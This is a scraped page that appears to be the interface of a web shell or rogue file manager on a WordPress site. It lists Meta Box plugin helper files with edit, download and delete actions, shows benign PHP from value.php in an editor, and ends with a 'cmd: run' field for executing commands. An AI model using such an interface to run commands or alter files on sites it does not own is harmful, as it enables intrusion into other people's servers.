/
home
/
techb158
/
public_html
/
wp-content
/
plugins
/
meta-box
/
inc
/
helpers
/
/home/techb158/public_html/wp-content/plugins/meta-box/inc/helpers
mkdir
upload
Name
Size
Mode
Actions
array.php
172
0666
edit
dl
rm
field.php
1147
0666
edit
dl
rm
string.php
274
0666
edit
dl
rm
value.php
672
0666
edit
dl
rm
Edit:
/home/techb158/public_html/wp-content/plugins/meta-box/inc/helpers/value.php
(672B)
<?php /** * Helper functions for checking values. * * @package Meta Box */ /** * Helper class for checking values. * * @package Meta Box */ class RWMB_Helpers_Value { /** * Check if a value is valid for field (not empty "WordPress way"), e.g. equals to empty string or array. * * @param mixed $value Input value. * @return bool */ public static function is_valid_for_field( $value ) { return '' !== $value && [] !== $value; } /** * Check if a value is valid for attribute. * * @param mixed $value Input value. * @return bool */ public static function is_valid_for_attribute( $value ) { return '' !== $value && false !== $value; } }
Save
cmd:
run